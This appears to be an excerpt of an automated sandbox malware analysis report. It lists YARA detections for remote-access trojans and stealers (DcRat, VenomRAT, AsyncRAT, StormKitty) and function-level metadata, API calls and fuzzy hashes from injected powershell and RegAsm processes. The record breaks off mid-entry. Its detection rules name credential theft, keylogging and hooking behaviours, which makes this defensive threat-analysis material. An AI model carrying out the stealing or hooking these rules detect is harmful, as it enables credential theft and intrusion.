Yara matches:	Rule: JoeSecurity_DcRat_2, Description: Yara detected DcRat, Source: 0000000B.00000002.4575113182.0000000002D45000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VenomRAT, Description: Yara detected VenomRAT, Source: 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic_3, Description: Yara detected Keylogger Generic, Source: 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD348B5F90 Relevance: 3.9, Strings: 2, Instructions: 1365
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d, xrefs: 00007FFD348BB794
hL_H, xrefs: 00007FFD348BBC6D

Memory Dump Source

Source File: 00000004.00000002.2215705843.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd348b0000_powershell.jbxd

Similarity

API ID:
String ID: d$hL_H
API String ID: 0-3570419290
Opcode ID: f6b99d9c7b50bd2e759fe71e2ac05adc5f4d8c1d94e66dcb0fcc09692c85cbb5
Instruction ID: a81be986bc7fa8d26a4a803d6f994bb645296f9bf4a210465bd11b6d10dd402a
Opcode Fuzzy Hash: f6b99d9c7b50bd2e759fe71e2ac05adc5f4d8c1d94e66dcb0fcc09692c85cbb5
Instruction Fuzzy Hash: F1923831B0CA8A4FE759DB2C84A56B577E1EF56310B1846BEC58EC7593DE28B843C780

Function 00007FFD348BBA99 Relevance: 1.8, Strings: 1, Instructions: 540
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

hL_H, xrefs: 00007FFD348BBC6D

Memory Dump Source

Source File: 00000004.00000002.2215705843.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd348b0000_powershell.jbxd

Similarity

API ID:
String ID: hL_H
API String ID: 0-3815963757
Opcode ID: 0d4748dededb292d7d7ef8b6836f7b98003b9e0ed919f0cc76ed131f4d74bb81
Instruction ID: 6202a7881028157aa92200f666ab0086fb77d1dc63332730cec291bfc7207638
Opcode Fuzzy Hash: 0d4748dededb292d7d7ef8b6836f7b98003b9e0ed919f0cc76ed131f4d74bb81
Instruction Fuzzy Hash: 25F10A21B0DA8A4FEB99DB2C84756B57BD1EF5A304F0845FED08DC72D6CD68A842D780

Function 00007FFD348BC6F9 Relevance: 1.7, APIs: 1, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2215705843.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd348b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11a678bd4c421aa92db90390fa89a1d190de973e06260b39947f1d1724415b39
Instruction ID: be6aca47fac85dd80e30746b47b7c96941b4f97920e66686a17dd5db55cb3a42
Opcode Fuzzy Hash: 11a678bd4c421aa92db90390fa89a1d190de973e06260b39947f1d1724415b39
Instruction Fuzzy Hash: 5761F871A0CA484FE758DB6C98696B97BE1FF5A311F04427FD48DD3292DF68A8028781

Function 00007FFD348BC809 Relevance: 1.6, APIs: 1, Instructions: 130
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32 ref: 00007FFD348BC8CE

Memory Dump Source

Source File: 00000004.00000002.2215705843.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd348b0000_powershell.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: fc57307cebaa56588fc2834634a2b040abd7055ab929de6f94b0d32e1ac9e6e5
Instruction ID: 13ef07fc5f106287f7c7dc420e830de5e4538c42543bda661cc50173a087ce41
Opcode Fuzzy Hash: fc57307cebaa56588fc2834634a2b040abd7055ab929de6f94b0d32e1ac9e6e5
Instruction Fuzzy Hash: 37319171A1CA5C8FDB58EF98D845AE97BE0FB69321F04422EE049E3251CB74A8018BC1

Function 00007FFD3498055D Relevance: .7, Instructions: 652
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2216688010.00007FFD34980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd34980000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63d1ff2f84a7594da776cf6c3d9b6db0da82d65c55651ec66f4196a0691e7c10
Instruction ID: 75532f3abc5cba57a7c9dbea9c7fcbffe243add034b5e2d8f70e1db514f82635
Opcode Fuzzy Hash: 63d1ff2f84a7594da776cf6c3d9b6db0da82d65c55651ec66f4196a0691e7c10
Instruction Fuzzy Hash: CD120361A0EBC90FE796872C58B51647FE1EF87210B0B01FFD589C71A7D91CA846D3A2

Function 00007FFD34984D49 Relevance: .1, Instructions: 74
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2216688010.00007FFD34980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd34980000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 331e47bf71eb75517b67bfa11016bf9945ba3364943225b6d79040206871b232
Instruction ID: 46cc5e427fa4f1576127ec095175697bdc321347789cce1f1bedcb417fd5289a
Opcode Fuzzy Hash: 331e47bf71eb75517b67bfa11016bf9945ba3364943225b6d79040206871b232
Instruction Fuzzy Hash: 4011E222F0EE8A5BE7D6A66C04B427451C3EFD621079940BEE51CC32ABED2DBC059311

Function 00007FFD34981E48 Relevance: .0, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2216688010.00007FFD34980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd34980000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4f32e9ac60af7b5bed9ee2b22be17e1db39d89db95c0e7d4e8b904213d36767
Instruction ID: bf5633c1eb1a1509fc4f7c2360f94f56d6a8d6028096bb63722f6908bba5766b
Opcode Fuzzy Hash: b4f32e9ac60af7b5bed9ee2b22be17e1db39d89db95c0e7d4e8b904213d36767
Instruction Fuzzy Hash: 65E0D823F0D91D0FF7E1E19C28AE1F47281DF55221B4C017BD95DD3186DD04AC115391

Function 00007FFD34985126 Relevance: .0, Instructions: 29
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2216688010.00007FFD34980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd34980000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dac883f45f05901917fa46e01df4219f4d357d5673ca7ef0556fcac503ee0b9
Instruction ID: 974f22a4077ae096abac0a3f7858b0665a29ebaf36f3ced64732d24beb4e27b3
Opcode Fuzzy Hash: 1dac883f45f05901917fa46e01df4219f4d357d5673ca7ef0556fcac503ee0b9
Instruction Fuzzy Hash: C1E02623F0D92E0AF7E0A18C28765F492C1EF55235B0801F7E90CD3146EC0CAC140290

Non-executed Functions

Function 00007FFD348B84D3 Relevance: 5.3, Strings: 2, Instructions: 2844
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

E, xrefs: 00007FFD348BA1AA
L_^, xrefs: 00007FFD348B84C2

Memory Dump Source

Source File: 00000004.00000002.2215705843.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd348b0000_powershell.jbxd

Similarity

API ID:
String ID: E$L_^
API String ID: 0-2970702209
Opcode ID: 3576b73e7d8d5b51824119976c75f5ec6d7d115c75fb0386cf664ecc4ae49324
Instruction ID: 7288e79dd4e54e6acf57e30043ed58d2c1cd80151570d1eec40fdbeec14e5a72
Opcode Fuzzy Hash: 3576b73e7d8d5b51824119976c75f5ec6d7d115c75fb0386cf664ecc4ae49324
Instruction Fuzzy Hash: 2213A41065C9CE4FEB49A76888717B92F92DF87344B5801EEC28ACF2D7CD5C6886D325

Function 00007FFD348BD0C0 Relevance: 3.5, Strings: 2, Instructions: 954COMMON

Download Yara Rule

Strings

J_^, xrefs: 00007FFD348D86C2
J_^, xrefs: 00007FFD348D866A

Memory Dump Source

Source File: 00000004.00000002.2215705843.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd348b0000_powershell.jbxd

Similarity

API ID:
String ID: J_^$J_^
API String ID: 0-3286738402
Opcode ID: 7402d186a8350f19440dc399a9f52bd47c118a7f4a116090c70226eb3f92bb4a
Instruction ID: 21ea849ece75e1c619f99f275d67b6457a07abb0a3af2d654fd60c3a993b90eb
Opcode Fuzzy Hash: 7402d186a8350f19440dc399a9f52bd47c118a7f4a116090c70226eb3f92bb4a
Instruction Fuzzy Hash: 4542F462B0FE460BE7A99B2D58B517536D2EFCB314B0806BED55EC32E3DD18EC059281

Function 00007FFD348BE7F8 Relevance: 1.6, Strings: 1, Instructions: 394COMMON

Download Yara Rule

Strings

\L_^, xrefs: 00007FFD348BE801

Memory Dump Source

Source File: 00000004.00000002.2215705843.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd348b0000_powershell.jbxd

Similarity

API ID:
String ID: \L_^
API String ID: 0-1760503498
Opcode ID: 89b7d3c4741cae058c542da8d93e1cbbe43015dee8cfad81e03bfc61d05f4335
Instruction ID: d767151c77594651cf5d3c04a76d16bc9183bfddd858649eef6158fb7143143d
Opcode Fuzzy Hash: 89b7d3c4741cae058c542da8d93e1cbbe43015dee8cfad81e03bfc61d05f4335
Instruction Fuzzy Hash: FEB10012B0C5561EE229B7FC74B51FA67A4EF86324F0C11BBD18DDB083DD68788682C2

Function 00007FFD348BD318 Relevance: 1.6, Strings: 1, Instructions: 366COMMON

Download Yara Rule

Strings

oL_^, xrefs: 00007FFD348BD501

Memory Dump Source

Source File: 00000004.00000002.2215705843.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd348b0000_powershell.jbxd

Similarity

API ID:
String ID: oL_^
API String ID: 0-2322690437
Opcode ID: 56c3496a5dabf6c5f8f2c5ec695704144ba5ec965e05e92623828e1d43ec35a9
Instruction ID: 7494819d8c63e6f2813e266d251d6ff08921ffbcb5bdea882995bcbfdb1e78d2
Opcode Fuzzy Hash: 56c3496a5dabf6c5f8f2c5ec695704144ba5ec965e05e92623828e1d43ec35a9
Instruction Fuzzy Hash: 8C912617B089262BD21076FEB9760FA7794DF823BAB0C4137D28CCA083BD6D744A42D5

Function 00007FFD348BEA58 Relevance: .8, Instructions: 821COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2215705843.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd348b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56b8eb1a769296fb2d744e21097265dd84a9490ebcf558170bc3d7eae24bb69d
Instruction ID: b86c462642d468210d602578d162e2b7f1f42cf61476ad6d34cd5b7c1b04796f
Opcode Fuzzy Hash: 56b8eb1a769296fb2d744e21097265dd84a9490ebcf558170bc3d7eae24bb69d
Instruction Fuzzy Hash: FD32E721B1C9464BE75CA72C94B66BA73D1FF8A314F08457EE14EC72C3DE2DB8429681

Function 00007FFD348DD400 Relevance: .7, Instructions: 661COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2215705843.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd348b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3a94ea860bc2bcb816913ea99da052cb109365b6eae081ead8dd43932301d81
Instruction ID: 32d14686b1a8f7ea810aa683be283d39f0c794a249f5e6bcc0dada5895ab1911
Opcode Fuzzy Hash: d3a94ea860bc2bcb816913ea99da052cb109365b6eae081ead8dd43932301d81
Instruction Fuzzy Hash: AB229270A1DB454FD7B8DF1C94A567AB3D1EF9A314F10467EC18EC3291DE34A8429782

Function 00007FFD348B41F2 Relevance: .4, Instructions: 434COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2215705843.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd348b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d9e34178866b990345ba9151f9e9998eb9374f4f07b558a138138e30f67b1b5
Instruction ID: 5733f9046e1037c0bd9d526557ae270c4df2c56bee074d723e551483eaf1443a
Opcode Fuzzy Hash: 9d9e34178866b990345ba9151f9e9998eb9374f4f07b558a138138e30f67b1b5
Instruction Fuzzy Hash: E8D1A243A0F6D21FE75253AC28B20F92FA49F5372475C41F7E588DA497AC5CA90A9381

Function 00007FFD348B52FA Relevance: .3, Instructions: 337COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2215705843.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd348b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2e0edfe20c1755e34b1e90cc82bb030fc64477cd005ec7764403ae39c8a1140
Instruction ID: 9b1e621979c394cf243d314bf6a458c9a07ecedbdfd791f4d446454f08e39ffb
Opcode Fuzzy Hash: d2e0edfe20c1755e34b1e90cc82bb030fc64477cd005ec7764403ae39c8a1140
Instruction Fuzzy Hash: 1291E957B0D6D21FE36563AC68B61F63BD0DF9336A70901F7C688C6493EC5D280692D1

Function 00007FFD348B5FF0 Relevance: .3, Instructions: 317COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2215705843.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd348b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68db5126a6969041118a2172b0a65491cc2e1f8307f665f6f5ce465762821673
Instruction ID: c87827f2b5a22336eb2a0db1566652aa82785ba02ff32ea2d95e5f1a0910dfd4
Opcode Fuzzy Hash: 68db5126a6969041118a2172b0a65491cc2e1f8307f665f6f5ce465762821673
Instruction Fuzzy Hash: 1C91F962B0D5851FE761ABBC68722E93BA0DF43360F0841BBD18CD7193DC69684A97C3

Analysis Process: RegAsm.exePID: 6268, Parent PID: 7112COMMON

Execution Graph

Execution Coverage:	11.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	37.5%
Total number of Nodes:	8
Total number of Limit Nodes:	0

Executed Functions

Function 011E2F19 Relevance: 2.0, APIs: 1, Instructions: 456
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 011E33F9

Memory Dump Source

Source File: 0000000B.00000002.4573388280.00000000011E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11e0000_RegAsm.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: d04c7f6c5da5d6e2184b5a77cf4596e5d6afd1a26b1bd1de98ffe0bce2c7be91
Instruction ID: 49d7ff0729f6d37b39d8c075b40171c3d7b746ab5e8738c91eb80153a961d831
Opcode Fuzzy Hash: d04c7f6c5da5d6e2184b5a77cf4596e5d6afd1a26b1bd1de98ffe0bce2c7be91
Instruction Fuzzy Hash: FAE19231F1470647DB1CCAED8C983AE76E37FC8224F998239DA66DB385EB7498019741

Function 011E3370 Relevance: 1.6, APIs: 1, Instructions: 63
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 011E33F9

Memory Dump Source

Source File: 0000000B.00000002.4573388280.00000000011E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11e0000_RegAsm.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 6f13b1bf8605121115bf357b8e716a9374f4ccb6d3e4dcb25f729162ff82143e
Instruction ID: b813d931d95a379c18aacdb013e2b2ce9b6c241c14698865d402b011e19ee83f
Opcode Fuzzy Hash: 6f13b1bf8605121115bf357b8e716a9374f4ccb6d3e4dcb25f729162ff82143e
Instruction Fuzzy Hash: E42114B1D013499FDB10CFAAD984ADEFBF5FF48310F20842AE519A7210C775A950CBA1

Function 011E3D78 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExW.USER32(?,00000000,?,?), ref: 011E3DFB

Memory Dump Source

Source File: 0000000B.00000002.4573388280.00000000011E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11e0000_RegAsm.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 40fd620ab811f9e3d39ae5049f62bb4ee36c8fb66d3323c00a0249aeaba7094e
Instruction ID: a67b653c042d8d1aaa959a35f67eac5c69b2eba25d2b4dff29092b5b39e119fa
Opcode Fuzzy Hash: 40fd620ab811f9e3d39ae5049f62bb4ee36c8fb66d3323c00a0249aeaba7094e
Instruction Fuzzy Hash: 0B213771D002499FDB14CFAAC945BEEBBF1FF88720F10841AD515A7250CBB5A945CFA1

Function 011E90D8 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 011E915F

Memory Dump Source

Source File: 0000000B.00000002.4573388280.00000000011E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11e0000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 22f61bb302ccbf4430cbc55a38b820726d8c64a10e5ef546121dc1e641266b62
Instruction ID: db7ebdf03d50c47988f56518a3f64720d62dc59b872c0e83508bb02c3cf3dc0b
Opcode Fuzzy Hash: 22f61bb302ccbf4430cbc55a38b820726d8c64a10e5ef546121dc1e641266b62
Instruction Fuzzy Hash: 5521C4B59002499FDB10CFAAD984ADEBFF4EB48724F14841AE918A3310D774A954CFA5

Function 011E90D0 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 011E915F

Memory Dump Source

Source File: 0000000B.00000002.4573388280.00000000011E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11e0000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: ed3f067383540b79b21001dc2229a14cb6370d645d896a4536ef3c21761f45e3
Instruction ID: 5f475819d378b9386a692f500ff80a4550a904b49da585a90dfe81d482f165ab
Opcode Fuzzy Hash: ed3f067383540b79b21001dc2229a14cb6370d645d896a4536ef3c21761f45e3
Instruction Fuzzy Hash: 8621E0B5D002499FDB10CFA9D985AEEBBF4EB48324F14841AE918A3210D378A954CFA1

Function 011E3D80 Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExW.USER32(?,00000000,?,?), ref: 011E3DFB

Memory Dump Source

Source File: 0000000B.00000002.4573388280.00000000011E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11e0000_RegAsm.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 7c293851d4da8304ce105c3c48a6a984887d30037cf68d04159330f4208d4ed1
Instruction ID: 862c1490cbc845529d2f5916ad9d26a291c10600f8d3fa36f0ee93f28f4b0121
Opcode Fuzzy Hash: 7c293851d4da8304ce105c3c48a6a984887d30037cf68d04159330f4208d4ed1
Instruction Fuzzy Hash: EE211571D002498FDB14CFAAC944BDEBBF5FF88320F10841AD519A7250CBB4A944CFA1

Function 06860EF8 Relevance: .6, Instructions: 612
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83d0967db4d859f348ec899a448514ce2275a805cfdeabeb0cb8903c710d3efe
Instruction ID: 8fa1a676d9df73ac51eb02559d29e8d900abce10ce2f3449a3adcc3a4b33d91b
Opcode Fuzzy Hash: 83d0967db4d859f348ec899a448514ce2275a805cfdeabeb0cb8903c710d3efe
Instruction Fuzzy Hash: 1B22C435B002448FDB54DF69D8949AEBBF6FF89310B1481AAE545DB362DB30EC05CBA1

Function 06862880 Relevance: .5, Instructions: 468
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ec97cfc356050da782c6ce6f01e847f920a6d3774d257ab008ded2a4e6ea8dc
Instruction ID: 63716035f18cda6e1b73fc482417e57c43a26d66159136c5337fc946f59b7789
Opcode Fuzzy Hash: 0ec97cfc356050da782c6ce6f01e847f920a6d3774d257ab008ded2a4e6ea8dc
Instruction Fuzzy Hash: FFF1C034B002059FDB15DF69D894AAEBBB6FFC9310F14816AE90ADB355CB31D905CBA0

Function 068648C8 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdf3a3b1b0f9d3542034d66262cbc6d3f851641ea0e8f03f0ffd834170fe418b
Instruction ID: 3623496c26c1e081bf004694abb6c087c0e22132ecf37e8c157bf05a38a98dbe
Opcode Fuzzy Hash: cdf3a3b1b0f9d3542034d66262cbc6d3f851641ea0e8f03f0ffd834170fe418b
Instruction Fuzzy Hash: 28B19074B002059FDB48DBBDD850AAEBBEAFFC8310B24C529E909DB355DE709C4187A1

Function 06866ED0 Relevance: .2, Instructions: 248COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d90432360dc1a3859ba841b3b499c906443efa4c455e55bbef16a22a37e32e9
Instruction ID: a1e9e73891327211bb942626a7901293e5eb7d280c240a2f37aaced885f8c6d6
Opcode Fuzzy Hash: 7d90432360dc1a3859ba841b3b499c906443efa4c455e55bbef16a22a37e32e9
Instruction Fuzzy Hash: C591AB30B002458FDB48EF35D95456E7BF2EFC9308B14896AE906DB389EF749946CB81

Function 06862178 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d47a60612312822604c41dfdd1d548b04f569595a1cbddd0352730d3e7a1d77
Instruction ID: b4ac9e48cfafea4eab23222891baf0564f7038a567a936557f8fe3bd8be83dc1
Opcode Fuzzy Hash: 8d47a60612312822604c41dfdd1d548b04f569595a1cbddd0352730d3e7a1d77
Instruction Fuzzy Hash: E381AD35B002068FDB44DF69E454BAEB7B2FB88310F14816AEA02E7394CB35ED41DB90

Function 06866B18 Relevance: .2, Instructions: 213COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a61c5cd49212cc59cf46e13ee1037ac4a0cbda8b63943066b4e48fd11a9a1fea
Instruction ID: f4bfde992560a9e9e0b6694eb192885a512b2f39fb79b29aa54da1744cdeff94
Opcode Fuzzy Hash: a61c5cd49212cc59cf46e13ee1037ac4a0cbda8b63943066b4e48fd11a9a1fea
Instruction Fuzzy Hash: 1B913D70906645DFD7E8CB1AE94C75C7BB3BB84218F18412EE525872D8E77158C6CF82

Function 06862ED8 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b46ff164767b31832461210391a6e9b6a212df2184458dbd5c08cf466cb30f24
Instruction ID: df64385dfee5e6784ff4d98d98ece1512344e89491d5487560d67573c8de67bd
Opcode Fuzzy Hash: b46ff164767b31832461210391a6e9b6a212df2184458dbd5c08cf466cb30f24
Instruction Fuzzy Hash: 2F519131B001059FCB54EB6DD8509AEBBFAAFC8210B14806AE60AEB355DE70DD0587A5

Function 06864620 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4588253925.0000000006860000.00000040.00000800.00020000.00000000.sdmp, Offset: 06860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a5e1bc87549c9dd7c88fedd9123e46a7103c4fb3e9437a70f0dc566dcbe3337
Instruction ID: 4f9f70f00b8f5de2483d019734ea6ba63d0931dfe7f6e75815b952b0e401e799
Opcode Fuzzy Hash: 4a5e1bc87549c9dd7c88fedd9123e46a7103c4fb3e9437a70f0dc566dcbe3337
Instruction Fuzzy Hash: B7517C70A0060A9FCB50CF69C8C4A6EBBF6FF85314F55C169E625CB292D730E955CBA0

Function 068667F0 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

